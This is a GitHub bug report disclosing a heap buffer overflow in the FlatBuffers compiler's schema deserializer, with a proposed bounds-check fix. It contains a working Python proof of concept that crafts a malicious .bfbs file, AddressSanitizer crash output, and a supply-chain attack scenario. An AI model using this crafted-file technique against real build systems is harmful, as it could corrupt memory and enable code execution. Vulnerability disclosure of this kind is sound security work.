Skip to content

[Bug] Heap Buffer Overflow (Write) in FlatBuffers idl_parser.cpp:4132 #8932

@ShangzhiXu

Description

@ShangzhiXu

Hi team, thanks for your great work and sorry for bother, I think I found a small bug in flatbuffer, can I make a PR to fix it?

In flatbuffer file src/idl_parser.cpp:4124-4164, function StructDef::Deserialize try to read the element fields from user provided .bfbs file and visit it with user provided index without bound check, leading to buffer overflow that can write an attacker-controlled offset (up to 262140 bytes beyond the allocated buffer) on the heap, potentially corrupting adjacent heap objects and enabling arbitrary code execution.

For source code,

  bool StructDef::Deserialize(Parser& parser, const reflection::Object* object){
         ...
       const auto& of = *(object->fields()); // read `fields` from user input
       auto indexes = std::vector<uoffset_t>(of.size());  //read without check
       for (uoffset_t i = 0; i < of.size(); i++) 
            indexes[of.Get(i)->id()] = i;   // crash here

We can add a check here to fix the bug.

PoC

we can reproduce with the following code

  1. We run the following python code to generate a malicious .bfbs file
#!/usr/bin/env python3
import struct
import subprocess
import os

FLATC = "/path/to/flatc"
TMPDIR = "/tmp/poc_repro"

os.makedirs(TMPDIR, exist_ok=True)


def write_file(path, content, binary=False):
    mode = "wb" if binary else "w"
    with open(path, mode) as f:
        f.write(content)


def read_file(path):
    with open(path, "rb") as f:
        return bytearray(f.read())


def gen_bfbs(fbs_content, name):
    """Generate .bfbs from .fbs schema, return path to .bfbs."""
    fbs_path = f"{TMPDIR}/{name}.fbs"
    write_file(fbs_path, fbs_content)
    subprocess.run(
        [FLATC, "-b", "--schema", "-o", TMPDIR, fbs_path],
        capture_output=True,
        timeout=10,
    )
    return f"{TMPDIR}/{name}.bfbs"
def u32(buf, pos):
    return struct.unpack_from("<I", buf, pos)[0]


def i32(buf, pos):
    return struct.unpack_from("<i", buf, pos)[0]


def u16(buf, pos):
    return struct.unpack_from("<H", buf, pos)[0]


def main():
    bfbs_path = gen_bfbs(
        "namespace t; table S { value: int (id: 0); } root_type S;\n", "poc1"
    )
    data = read_file(bfbs_path)

    # Find 'value' field and patch its id to 200
    idx = data.find(b"value\x00")
    string_start = idx - 4

    for j in range(len(data) - 4):
        ref = u32(data, j)
        if ref != 0 and j + ref == string_start:
            for ts in range(j, j - 32, -4):
                if ts < 0:
                    break
                soff = i32(data, ts)
                vt = ts - soff
                if not (0 <= vt < len(data) - 4):
                    continue
                vt_size = u16(data, vt)
                tbl_size = u16(data, vt + 2)
                if not (4 <= vt_size <= 60 and 4 <= tbl_size <= 60):
                    continue
                name_voff = u16(data, vt + 4)
                if name_voff != 0 and ts + name_voff == j:
                    id_voff_pos = vt + 4 + 2 * 2
                    id_voff = 4
                    id_data_pos = ts + id_voff
                    struct.pack_into("<H", data, id_voff_pos, id_voff)
                    struct.pack_into("<H", data, id_data_pos, 200)
                    patched = f"{TMPDIR}/poc1_patched.bfbs"
                    write_file(patched, bytes(data), binary=True)
                    return


if __name__ == "__main__":
    main()

This script creats a normal .bfbs file and find value field and patch its id to 200 (originally 1)

  1. Then we use flatc to read the malicious file
z5500277@katana3:~/flatbuffers/poc3 $  build/flatc --cpp -o /tmp/poc_repro /tmp/poc_repro/poc1_patched.bfbs
=================================================================
==102204==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000430 at pc 0x565055386d38 bp 0x7fffab349c90 sp 0x7fffab349c88
WRITE of size 4 at 0x602000000430 thread T0
    #0 0x565055386d37 in flatbuffers::StructDef::Deserialize(flatbuffers::Parser&, reflection::Object const*)  src/idl_parser.cpp:4132:70
    #1 0x56505538eb50 in flatbuffers::Parser::Deserialize(reflection::Schema const*)  src/idl_parser.cpp:4476:22
    #2 0x56505538c92c in flatbuffers::Parser::Deserialize(unsigned char const*, unsigned long)  src/idl_parser.cpp:4430:10
    #3 0x565055b3e587 in flatbuffers::FlatCompiler::LoadBinarySchema(flatbuffers::Parser&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)  src/flatc.cpp:59:15
    #4 0x565055b4d082 in flatbuffers::FlatCompiler::GenerateCode(flatbuffers::FlatCOptions const&, flatbuffers::Parser&)  src/flatc.cpp:902:9
    #5 0x565055b535d9 in flatbuffers::FlatCompiler::Compile(flatbuffers::FlatCOptions const&)  src/flatc.cpp:1081:36
    #6 0x565055b64174 in main  src/flatc_main.cpp:199:23
    #7 0x7fb4de40c864 in __libc_start_main (/lib64/libc.so.6+0x3a864) (BuildId: 1faac7cdefc71ce73027e33a84650684eecd1635)
    #8 0x5650552344fd in _start ( build/flatc+0x2a34fd)

0x602000000430 is located 796 bytes after 4-byte region [0x602000000110,0x602000000114)
allocated by thread T0 here:
    #0 0x565055307a0d in operator new(unsigned long) /scratch/apps/spack-stage-llvm-16.0.6-dyua2gkqcod2founm53bdasw7zcy5fnh/spack-src/compiler-rt/lib/asan/asan_new_delete.cpp:95:3
    #1 0x56505541c344 in std::__new_allocator<unsigned int>::allocate(unsigned long, void const*) /apps/z_install_tree/linux-rocky8-ivybridge/gcc-8.5.0/gcc-12.2.0-64v2gp5krz26bgfwfu32vmbm4ih2vodr/lib/gcc/x86_64-pc-linux-gnu/12.2.0/../../../../include/c++/12.2.0/bits/new_allocator.h:137:27
    #2 0x56505541c344 in std::allocator_traits<std::allocator<unsigned int>>::allocate(std::allocator<unsigned int>&, unsigned long) /apps/z_install_tree/linux-rocky8-ivybridge/gcc-8.5.0/gcc-12.2.0-64v2gp5krz26bgfwfu32vmbm4ih2vodr/lib/gcc/x86_64-pc-linux-gnu/12.2.0/../../../../include/c++/12.2.0/bits/alloc_traits.h:464:20
    #3 0x56505541c344 in std::_Vector_base<unsigned int, std::allocator<unsigned int>>::_M_allocate(unsigned long) /apps/z_install_tree/linux-rocky8-ivybridge/gcc-8.5.0/gcc-12.2.0-64v2gp5krz26bgfwfu32vmbm4ih2vodr/lib/gcc/x86_64-pc-linux-gnu/12.2.0/../../../../include/c++/12.2.0/bits/stl_vector.h:378:20
    #4 0x56505541c344 in std::_Vector_base<unsigned int, std::allocator<unsigned int>>::_M_create_storage(unsigned long) /apps/z_install_tree/linux-rocky8-ivybridge/gcc-8.5.0/gcc-12.2.0-64v2gp5krz26bgfwfu32vmbm4ih2vodr/lib/gcc/x86_64-pc-linux-gnu/12.2.0/../../../../include/c++/12.2.0/bits/stl_vector.h:395:33
    #5 0x565055385ab8 in std::_Vector_base<unsigned int, std::allocator<unsigned int>>::_Vector_base(unsigned long, std::allocator<unsigned int> const&) /apps/z_install_tree/linux-rocky8-ivybridge/gcc-8.5.0/gcc-12.2.0-64v2gp5krz26bgfwfu32vmbm4ih2vodr/lib/gcc/x86_64-pc-linux-gnu/12.2.0/../../../../include/c++/12.2.0/bits/stl_vector.h:332:9
    #6 0x565055385ab8 in std::vector<unsigned int, std::allocator<unsigned int>>::vector(unsigned long, std::allocator<unsigned int> const&) /apps/z_install_tree/linux-rocky8-ivybridge/gcc-8.5.0/gcc-12.2.0-64v2gp5krz26bgfwfu32vmbm4ih2vodr/lib/gcc/x86_64-pc-linux-gnu/12.2.0/../../../../include/c++/12.2.0/bits/stl_vector.h:552:9
    #7 0x565055385ab8 in flatbuffers::StructDef::Deserialize(flatbuffers::Parser&, reflection::Object const*)  src/idl_parser.cpp:4131:18
    #8 0x56505538eb50 in flatbuffers::Parser::Deserialize(reflection::Schema const*)  src/idl_parser.cpp:4476:22
    #9 0x56505538c92c in flatbuffers::Parser::Deserialize(unsigned char const*, unsigned long)  src/idl_parser.cpp:4430:10
    #10 0x565055b3e587 in flatbuffers::FlatCompiler::LoadBinarySchema(flatbuffers::Parser&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)  src/flatc.cpp:59:15
    #11 0x565055b4d082 in flatbuffers::FlatCompiler::GenerateCode(flatbuffers::FlatCOptions const&, flatbuffers::Parser&)  src/flatc.cpp:902:9
    #12 0x565055b535d9 in flatbuffers::FlatCompiler::Compile(flatbuffers::FlatCOptions const&)  src/flatc.cpp:1081:36
    #13 0x565055b64174 in main  src/flatc_main.cpp:199:23
    #14 0x7fb4de40c864 in __libc_start_main (/lib64/libc.so.6+0x3a864) (BuildId: 1faac7cdefc71ce73027e33a84650684eecd1635)

SUMMARY: AddressSanitizer: heap-buffer-overflow  src/idl_parser.cpp:4132:70 in flatbuffers::StructDef::Deserialize(flatbuffers::Parser&, reflection::Object const*)
Shadow bytes around the buggy address:
  0x602000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x602000000400: fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa
  0x602000000480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==102204==ABORTING

Attack scenario
Any attacker who can supply a crafted .bfbs file to a victim's flatc invocation. The most realistic vector is a CI/CD supply chain attack I think, for example the attacker uploads a malicious .bfbs to a shared Schema Registry, and downstream build pipelines automatically pull and compile it with flatc.

The heap out-of-bounds write lets the attacker write a 4-byte value at an attacker-chosen offset up to 262140 bytes (65535 × 4) past the end of the allocated buffer. A single 4-byte write is sufficient to corrupt a heap pointer or vtable entry, enabling arbitrary code execution.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugc++flatcFlatBuffers Compilerpr-requestedA Pull Request is requested to move the issue forward.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions